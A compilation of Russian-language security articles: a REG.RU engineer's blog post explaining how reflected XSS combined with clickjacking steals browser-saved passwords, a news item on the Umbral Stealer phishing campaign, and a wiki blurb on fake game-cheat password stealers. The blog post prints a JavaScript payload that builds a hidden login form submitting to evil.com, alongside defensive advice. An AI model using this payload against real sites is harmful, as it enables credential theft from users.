Меня зовут Артем Мышенков, я ведущий инженер по технической защите информации в команде безопасности REG.RU. Наша команда занимается тестированием систем компании на безопасность и поиском уязвимостей.
В этой статье я расскажу о том, как с помощью XSS-атаки в сочетании с ClickJacking’ом злоумышленники могут похитить сохраненные в браузере пароли.
XSS ― это одна из самых популярных веб-уязвимостей. Строго говоря, это атака, а не уязвимость, но условимся, что иногда под XSS я буду подразумевать уязвимость, которая позволяет проводить XSS-атаку.
Согласно википедии, XSS (англ. Cross-Site Scripting) ― это «тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействия этого кода с веб-сервером злоумышленника».
Вообще мы стараемся оперативно выявлять и устранять уязвимости, но представим, что на сайте REG.RU прямо сейчас есть такая, которая позволяет провести XSS-атаку.
Что такое УКРАДЕННЫЕ ПАРОЛИ?
Суть атаки
Чтобы атаковать пользователя сайта, его нужно вынудить перейти по специально сформированной ссылке (о методах социальной инженерии, которые позволяют это сделать, поговорим как-нибудь в другой раз). Атака, для которой нужна спец ссылка, называется ReflectedXSS. Есть ещё StoredXSS, в случае которой вредоносный код сохраняется на странице, поэтому жертву даже не надо вынуждать перейти по ссылке, а нужно просто дождаться пока кто-нибудь откроет зараженную страницу.
Допустим, в результате социальной инженерии пользователь перешел по такой ссылке:
На первый взгляд она не вызывает особых подозрений: длинновата, но домен-то правильный и открывается наш сайт, из-за чего может показаться, что бояться нечего (спойлер: тем, кто не хранит пароли в браузере, атака действительно не страшна). Но при переходе по ссылке срабатывает вредоносный код, который закодирован в URL. Скрипт крадет сохраненную в браузере связку логин/пароль от личного кабинета REG.RU жертвы.
Вот как это выглядит глазами пользователя, который перешел по ссылке — на странице появляется уведомление об ошибке (специально показываем какое-нибудь стандартное сообщение, чтобы не вызвать подозрений):
При клике по кнопке OK откроется главная страница сайта. В общем-то и всё. Странно, но не подозрительно. Понять, что в это время злоумышленник уже получил сохраненный в браузере пароль, практически невозможно.
А теперь разберемся, как эта атака вообще работает.
Технические подробности
Посмотрим, что спрятано в ссылке. Для этого декодируем ее:
При переходе по ссылке загружается и выполняется JavaScript:
var p = document.createElement(«input»); p.setAttribute(«type», «password»); p.setAttribute(«name», «password»); var l = document.createElement(«input»); l.setAttribute(«type», «text»); l.setAttribute(«name», «login»); var f = document.createElement(«form»); f.setAttribute(«method», «post»); f.setAttribute(«action», «https://evil.com/»); f.appendChild(l); f.appendChild(p); document.body.appendChild(f) function clck() , 1000)> document.body.setAttribute(‘onclick’, ‘clck()’); setTimeout(()=>,2000)
Этот код создает на странице форму и поля с названиями, совпадающими с формой авторизации, чтобы браузер знал, куда подставить сохраненный пароль. Форма добавляется в са-а-амом низу:
Вот так хакеры ВЗЛАМЫВАЮТ пароли!
Чтобы браузер (в эксперименте использовался Chrome) подставил пароль, нужно взаимодействие пользователя со страницей. Сымитировать нажатие с помощью JS не получится, нужен настоящий клик. Для этого провоцируем жертву на инстинктивное нажатие на кнопку OK в сообщении об ошибке.
В том, чтобы вынудить пользователя кликнуть в определенное место и есть суть атаки под названием ClickJacking. Чтобы все успело прогрузиться и отработать, указываем необходимые таймауты. Вешаем обработчик onclick на body.
После первого клика пароль отправляется на сайт хакера, где остается только его записать, а клиенту вернуть редирект на главную страницу.
Так как же обычному пользователю защититься от конкретно этой атаки? Ответ прост: не нужно хранить пароли в браузере. Своим коллегам мы рекомендуем использовать менеджеры паролей, например KeePass или KeePassXC.
К слову, у KeePassXC есть плагин для браузера, который позволяет автоматически заполнять пароли для сайтов. Защитил бы он от атаки, которую мы провели? Давайте разберемся.
Расширение браузера KeePassXC
При добавлении формы на страницу, расширение KeePassXC также ее находит, но при этом подставляет свою иконку в поле ввода. Чтобы осуществить подстановку логина-пароля, нужно нужно кликнуть именно по этой иконке (ключик внизу):
Можно было бы попытаться скрыть отображение формы на странице, сделав ее прозрачной, и, сильно заморочившись, подогнать ее под кнопку OK во всплывающем окне, реализовав тем самым настоящий ClickJacking. Но от этого нас спасает директива shadow-root(closed), которая не позволяет управлять элементами расширения из внешних скриптов:
Таким образом, мы не можем повлиять на прозрачность иконки KeePassXC. Это будет выглядеть подозрительно:
Конечно, и здесь есть вероятность, что жертва не заметит и кликнет по иконке менеджера паролей, в результате чего пароль подставится в форму и уйдет злоумышленнику, но иконка даст хоть какой-то повод насторожиться и не нажимать на опасную кнопку. К тому же, в этот момент должна быть разблокирована база паролей и должен быть разрешен доступ к паролям с текущей страницы. При правильных настройках вероятность атаки сводится к минимуму.
Кратко о том, как не допустить уязвимость
А теперь скажем пару слов как не допустить на вашем сайте уязвимость, позволяющую провести XSS-атаку.
Основной момент ― это правильная обработка данных, которые поступают из недоверенного источника и встраиваются в HTML-код страницы. К слову, это не обязательно значения из параметров URL. Это могут быть любые данные, на которые может повлиять пользователь и которые отображаются где-то на странице.
Для начала нужно понять в каком контексте эти данные попадают в код:
- внутри тегов HTML, внутри аргументов тегов, внутри комментариев HTML;
- в javascript-коде (например, внутри кода или в inline-скриптах в других тегах);
- в аргументе href тега .
В общем случае к таким данным должна применяться кодировка HTML-entities при выводе на страницу. Обязательно должны быть закодированы символы , >, “ и
В качестве превентивной меры защиты можно также использовать технологию Content-Security-Policy, которая не позволит загружать скрипты со сторонних ресурсов.
Выводы
Данная атака наглядно демонстрирует, как могут быть опасны XSS-атаки в сочетании с социальной инженерией, и как важно не допускать уязвимостей, которые могут привести к XSS, и своевременно их устранять. Варианты использования подобных уязвимостей ограничиваются только возможностями javascript и фантазией исследователя.
Расширение KeePassXC снижает вероятность успешности атаки, но полностью не исключает. В любом случае, это значительно безопаснее, чем хранить пароли в браузере.
- XSS
- информационная безопасность
- пароли
- уязвимость
- Блог компании REG.RU
- Информационная безопасность
Источник: habr.com
Россиян предупредили о массовых кражах паролей
Против российских организаций из разных сфер развернута кампания по массовой краже учетных данных пользователей при помощи фишинговых писем. Об этом россиян предупредили эксперты киберразведки компании по управлению цифровыми рисками Bi.Zone, передают «Известия».
Специалисты рассказали, что злоумышленники рассылают фишинговые письма с помощью вредоносного программного обеспечения Umbra. К письмам, как сообщили в Bi.Zone, киберпреступники прикладывают файлы с вредоносными ярлыками и маскируют их под документы с названием «План рейдеров». Открытие таких документов, как объясняют эксперты, и запускает процесс заражения устройства.
Материалы по теме:
В 2022 году хакеры стали еще опаснее и хитрее. Чем это грозит простым россиянам?
30 декабря 2022
Соцсети без людей, закат Google и рост киберпреступности. Как ChatGPT изменит интернет?
10 мая 2023
«Umbral Stealer позволяет злоумышленникам обходить средства защиты, повышать привилегии, собирать информацию о скомпрометированной системе и извлекать аутентификационные данные из таких приложений, как Brave, Chrome, Chromium, Comodo, Edge, Epic Privacy, Iridium, Opera, Opera GX, Slimjet, UR Browser, Vivaldi, «Яндекс Браузер», Roblox, Minecraft и Discord», — сообщили в компании. В Bi.Zone добавили, что многие из перечисленных сервисов включают как пароли от личных учетных записей, так и от корпоративных.
Эксперты отметили, что злоумышленники получают первоначальный доступ к целевой сети, например при помощи использования деловой электронной почты для рассылки фишинговых писем внутри организации.
«Сегодня многие киберпреступники, в том числе те, что вовлечены в атаки с использованием программ-вымогателей, используют легитимные учетные данные для получения первоначального доступа к корпоративным сетям. Одним из главных источников таких данных являются стиллеры », — объяснил руководитель управления киберразведки Bi.Zone Олег Скулкин. По его словам, собранные стилллерами данные можно найти в продаже, а иногда и загрузить бесплатно на многих теневых площадках.
Ранее сообщалось, что хакерская группировка Sneaking Leprechaun за последний год атаковала ради выкупа более 30 организаций из России и Белоруссии. В числе пострадавших оказались фирмы, занимающиеся финансами, логистикой, оказанием медицинских услуг, а также государственные структуры.
Источник: lenta.ru
Программы для кражей паролей (Stealers)
Программы для кражей паролей (Stealers) — программы которые делают в основном школьники, для кражей паролей других школьников. Частенько такие программы называются «Админка Minecraft», «Чит для Tanki Online/World of Tanks» или же «Чит на игру . «.
Действия вируса
1 стадия
- Программа запускается и у нас есть несколько полей для ввода, самые основные это пароль и ник/e-mail.
2 стадия
- Если вы написали правдивые данные, ваши данные будут отправлены на специальные сайты называемые «снифферы».
- Если ввести неправильные данные, то можно обмануть создателя программы надурив его неверными данными от аккаунта, зато так можно проверить программу, если будет окно по типу «Взломано!» или «Ошибка на серверах, повторите позже» , то это не настоящий чит.
Источник: malwarepedia.fandom.com